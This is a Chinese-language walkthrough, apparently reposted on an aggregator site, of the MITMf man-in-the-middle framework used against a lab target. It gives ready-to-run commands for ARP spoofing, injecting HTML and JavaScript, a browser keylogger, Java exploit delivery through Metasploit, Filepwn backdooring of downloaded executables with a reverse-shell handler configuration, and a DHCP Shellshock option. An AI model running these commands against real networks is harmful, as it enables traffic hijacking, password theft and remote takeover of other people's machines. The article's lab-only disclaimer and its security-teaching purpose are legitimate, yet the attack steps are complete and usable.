內(nèi)網(wǎng)劫持滲透新姿勢:MITMf簡要向?qū)?/h1>
發(fā)表時間:2023-08-01 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]聲明:本文具有一定攻擊性,僅作為技術(shù)交流和安全教學之用,不要用在除了搭建環(huán)境之外的環(huán)境。0×01 題記又是一年十月一,想到小伙伴們都紛紛出門旅游,皆有美酒佳人相伴,想到這里,不禁...
聲明:本文具有一定攻擊性,僅作為技術(shù)交流和安全教學之用,不要用在除了搭建環(huán)境之外的環(huán)境。
0×01 題記
又是一年十月一,想到小伙伴們都紛紛出門旅游,皆有美酒佳人相伴,想到這里,不禁潸然淚下。子曰:“長得丑就要多讀書!”于是有了這篇文章。
0×02 簡要介紹
這篇文章的主要目的是介紹一下一個最新的中間人攻擊測試框架 – MITMf。工具的作者是byt3bl33d3r,是基于代理工具sergio-proxy修改而來。這里是工具的地址:
https://github.com/byt3bl33d3r/MITMf
關(guān)于工具的一些簡介也在git的READEME中說到了。工具本身比較新,沒找到中文指南,這里就寫一篇文章與大家一起交流探討。
剛一看到這個工具的時候,第一感覺不過是一個中間人攻擊的集合品,也沒多大興趣。本來嘛,這個概念也已經(jīng)被談爛了。但是當我真的搭好環(huán)境開始玩的時候才發(fā)現(xiàn)其實這個框架還是有點意思的,可擴展性非常高。除了“劫持”的概念外,一些插件也起到了“滲透”的作用。
0×03 工具配置
MITMf不支持多系統(tǒng)平臺,雖然是python寫的,但是玩過以后才發(fā)現(xiàn)根本就是給linux量身做的,所以這里想玩的同學如果是win環(huán)境的話,可以考慮用虛擬機了,這里建議使用Kali/Linux。
首先git下整個框架
#git clone https://github.com/byt3bl33d3r/MITMf.git /opt/mitmf/
然后我們進行簡單的安裝
cd /opt/mitmf
./install-bdfactory.sh
完成之后,進行下一步的安裝操作
cd bdfactory/
./install.sh
然后,運行的時候我們會發(fā)現(xiàn)仍然沒辦法啟動MITMf,會提示一些模塊缺失,我們按照指示說的依次用pip安裝一下就可以。
這里需要注意一點,因為部分模塊的源是在google上面的,pip會安裝不上(如pefile),這時候可以自己去https://pypi.python.org/pypi 下載一下然后手動安裝,安裝命令是
python xxxx install
另外,需要自行手動安裝python-nfqueue模塊
sudo apt-get install python-nfqueue
0×04 基本功能:cookies盜取,dns劫持,js注入…
這時候我們應(yīng)該能夠成功啟動mitmf了。輸入./mitmf.py -h 得到以下幫助界面:
[未標題-1.png]
工具有幾項基本功能:
sslstrip模塊
這個我不多說大家也都能明白,默認是開啟的狀態(tài)。這里我嘗試了用-d參數(shù)關(guān)閉了sslstrip,但是出現(xiàn)了無法使用的情況,應(yīng)該是框架本身的bug。
Filepwn模塊
主要作用是當被欺騙對象嘗試下載文件時,首先對文件進行分析,對可執(zhí)行文件(PE、ELF)進行后門注入,然后再給到被欺騙對象,這個下面我還會給出詳細的說明。
Cachekill模塊
清空客戶端的緩存緩沖池,這個在我們需要重新注入一段js時是很有用的。這個功能還是非常有用的,關(guān)于用處,大家可以參考EtherDream同學的JS緩存投毒的文章,不細說。
Spoof模塊
十分重要的一個模塊,當我們使用MITM功能攻擊欺騙時絕對是不能缺少的。其主要包括對ARP、ICMP、DHCP進行流量重定向(三種模式不能同時使用),手動指定iptables命令等,其他的規(guī)則文件(cfg文件)在主目錄的config目錄下,我們可以進行自定義配置。這里值得說一下是,工具還在前幾天更新了關(guān)于“破殼”漏洞的DHCP影響,我們可以通過shellshock參數(shù)進行指定。下面我也會有圖片進行證明演示。
BeEFAutorun模塊
該模塊可以使框架可以連接到BeEF,BeEF的強大我想大家是有目共睹的。連接到BeEF之后就可以將MITM與瀏覽器滲透結(jié)合起來,功能自然更強大,姿勢,也更猥瑣了。
Replace模塊
這個模塊主要是可以對瀏覽內(nèi)容進行替換,支持正則表達式。注意,這里模塊默認情況下是強制刷新緩存緩沖池的,要想不改變緩沖內(nèi)容,需要手動指定keep-cache參數(shù)。
Inject模塊
可以向被欺騙者的瀏覽內(nèi)容中注入各種猥瑣的東西,比如js啦,html啦,圖片啦,小電影啦。。。也是比較有用的一個模塊,下文我們還會說到。
Browser Profiler插件
枚舉被欺騙機器的瀏覽器插件。對于我們前期的信息收集階段還是很有用的。
JavaPwn模塊
可以通過向被攻擊機器中注入jar使得瀏覽內(nèi)容被毒化,和metasploit聯(lián)合可以直接滲透機器拿到shell(這點后文我也會重點說),metasploit有多強大玩滲透的同學沒有不知道的吧?不知道的先出去罰站半小時(鄙人metasploit死忠粉)
Javascript Keylogger模塊
一個鍵盤記錄js,后文會有介紹
App Cache Poison
app緩存投毒。對于網(wǎng)頁應(yīng)用程序進行毒化處理,然后進行隨心所欲的攻擊。是Krzysztof Kotowicz的補充模塊。
Upsidedownternet
惡搞模塊,讓瀏覽者的世界翻轉(zhuǎn)。
以上是工具的簡單介紹,其中不少是很多功能大家都已經(jīng)玩過了,所以我就單挑幾個給大家展示一下。
Inject模塊的注入功能
我們首先注入一個html:
./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --inject --html-url http://www.freebuf.com
效果圖
[12.png]
[13.png]
然后我們再注入一個js看看:
./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --inject --js-url http://linvex.xxx.cn/test.js
效果圖
[15.png]
[16.png]
然后是工具自帶的keylogger的js,我們看一下效果怎么樣:
./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --jskeylogger
效果圖
[10.png]
[11.png]
經(jīng)測試,密碼截獲DNS劫持什么的都不是問題,這里鑒于篇幅就不再展示了。
0×05 進階玩法
以上是我們進行的一些基本的玩法,目的只是讓大家看一下。功能比較基礎(chǔ)大家用的也比較多,接下來的部分,主要給大家展示一下該框架是如何結(jié)合強大的metasploit進行“滲透”的。
(一)利用java漏洞進行攻擊
首先,我們使用的是javapwn模塊。這個模塊事實上就是根據(jù)客戶端的java版本從msf挑出攻擊payload進行溢出滲透攻擊的過程,只不過是將注入的過程加入到了ARP欺騙的過程而不是之前演示的那種直接給客戶端一個url(類似:http://192.168.111.111/UIhsdaVx),使得攻擊更為自然。
將metasploit打開,然后載入msgrpc模塊
#msfconsole
msf > load msgrpc Pass=abc123
其他部分保持默認就好了。然后是MITMf端,輸入以下命令:
./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --javapwn --msfip 192.168.217.137
然后我們就只需要等待就可以了,喝杯咖啡等一下。。這個過程我們可以看到靶機所瀏覽的一些網(wǎng)站記錄同時我們也能接收到一些毒化html的反饋信息。
如果順利,我們的jar就被執(zhí)行了。
[20.png]
這是開始運行等待的時候
[18.png]
[19.png]
成功得到shell
這兩張是成功得到shell的界面。因為我的靶機中的java是最新的,msf中的payload無法溢出,只是在靶機中生成了無數(shù)的連接。所以這里的圖是盜的。
(二)為PE文件注入后門實現(xiàn)滲透
使用Filepwn模塊,與msf結(jié)合同樣可以獲得shell。簡單說一下Filepwn的原理:ARP過程中如果探測到靶機有下載的活動,便劫持下載鏈接,首先將文件下載下來進行解包分析,如果是可執(zhí)行文件就嘗試注入后門,如果失敗則重新打包。最后將文件輸出給靶機由靶機進行下載。這里的文檔支持zip和tar.gz格式解包,支持各種可執(zhí)行文件。
同樣我們打開metasploit,使用handler,開始監(jiān)聽:
msfconsole
use exploit/multi/handler
set LHOST 192.168.217.137
set LPORT 1447
run
[21.png]
在使用MITMf前我們需要對配置文件進行配置,注入信息配置如下(只列出作用位置)
…………SNIP…………
[[[WindowsIntelx86]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
HOST = 192.168.217.137
PORT = 1447
SHELL = reverse_shell_tcp
SUPPLIED_SHELLCODE = None
ZERO_CERT = False
PATCH_DLL = True
MSFPAYLOAD = windows/shell_reverse_tcp
…………SNIP…………
接下來是MITMf:
./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --filepwn
然后就是等待靶機下載文件然后執(zhí)行就可以了。
最后我們的靶機執(zhí)行了文件,然后msf獲得到了shell。下面是最終結(jié)果:
[9.jpg]
點此看大圖
(三)娛樂一下
最后再看一下“破殼”是如何在DHCP中起作用的
./mitmf.py --iface eth0 --spoof --dhcp --shellshock
[17.png]
這里的命令可以用cmd參數(shù)自行指定。
關(guān)于這個問題大家一致的思路是這樣的:我們的手機IOS、Android都是基于unix的,所以如果我們搭建一個dhcp的WIFI服務(wù)器,能有什么收獲呢?
0×06 總結(jié)
這個工具其實說白了就是一個中間人攻擊的大集合,集各種功能于一身,同時擴展了BeEF框架和Metasploit的接口,使攻擊姿勢更加豐富。而且,也十分與時俱進的擴展了網(wǎng)頁應(yīng)用的毒化功能,同時給我們帶來了更多的想法:中間人攻擊,真的只是劫持截包這么簡單么?內(nèi)網(wǎng)滲透真的只能靠溢出RCE方式么?能不能有更好的方式?答案是肯定的。海
文章到這里暫時告一段落,簡要介紹了幾個MITMf的基礎(chǔ)功能,更多擴展工具閱讀
https://github.com/secretsquirrel/the-backdoor-factory
https://github.com/secretsquirrel/BDFProxy
如果有更好玩的東西,我會繼續(xù)與大家分享。
0×07 最后的小插曲
寫文章的前一天晚上,室友看我測試各種攻擊姿勢,然后看了一會兒感嘆說,網(wǎng)絡(luò)越來越不安全了,真是處處是坑,一不小心就可能中招。然后,我們相視苦笑。。。
現(xiàn)在,問題來了:挖坑得用挖掘機。
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。